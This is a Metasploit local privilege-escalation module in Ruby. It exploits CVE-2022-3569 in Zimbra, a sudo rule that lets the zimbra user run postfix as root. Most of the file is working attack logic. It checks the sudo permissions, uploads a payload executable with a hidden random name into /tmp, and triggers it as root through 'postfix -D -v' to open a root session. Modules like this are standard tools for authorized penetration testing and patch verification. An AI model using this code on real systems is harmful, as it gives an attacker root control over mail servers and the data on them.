##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zimbra sudo + postfix privilege escalation',
        'Description' => %q{
          This module exploits a vulnerable sudo configuration that permits the
          zimbra user to execute postfix as root. In turn, postfix can execute
          arbitrary shellscripts, which means it can execute a root shell.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'EvergreenCartoons', # discovery and poc
          'Ron Bowes',         # Module
        ],
        'DisclosureDate' => '2022-10-13',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2022-3569' ],
          [ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],
        ],
        'Targets' => [
          [ 'Auto', {} ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ]
        }
      )
    )
    register_options [
      OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
      OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
      OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".<random>"' ])
    ]
  end

  # Because this isn't patched, I can't say with 100% certainty that this will
  # detect a future patch (it depends on how they patch it)
  def check
    # Sanity check
    if is_root?
      fail_with(Failure::None, 'Session already has root privileges')
    end

    unless file_exist?("#{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
      print_error("postfix executable not detected: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
      return CheckCode::Safe('Postfix executable not detected')
    end

    unless command_exists?(datastore['SUDO_PATH'])
      print_error("Could not find sudo: #{datastore['SUDO_PATH']} (set SUDO_PATH if sudo isn't in $PATH)")
      return CheckCode::Safe('sudo not found')
    end

    # Run `sudo -n -l` to make sure we have access to the target command
    cmd = "#{datastore['SUDO_PATH']} -n -l"
    print_status "Executing: #{cmd}"
    output = cmd_exec(cmd).to_s

    if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
      print_error('Current user could not execute sudo -l')
      return CheckCode::Safe('Current user could not execute sudo')
    end

    if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
      print_error('Current user does not have access to run postfix')
      return CheckCode::Safe('Current user does not have access to run postfix')
    end

    CheckCode::Appears('Target appears to be vulnerable')
  end

  def exploit
    base_dir = datastore['WritableDir'].to_s
    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    # Generate some filenames
    payload_path = File.join(base_dir, datastore['PayloadFilename'] || ".#{rand_text_alphanumeric(5..10)}")
    upload_and_chmodx(payload_path, generate_payload_exe)
    register_file_for_cleanup(payload_path)

    cmd = "sudo #{datastore['ZIMBRA_BASE']}/common/sbin/postfix -D -v #{payload_path}"
    print_status "Attempting to trigger payload: #{cmd}"
    out = cmd_exec(cmd)

    unless session_created?
      print_error("Failed to create session! Cmd output = #{out}")
    end
  end
end
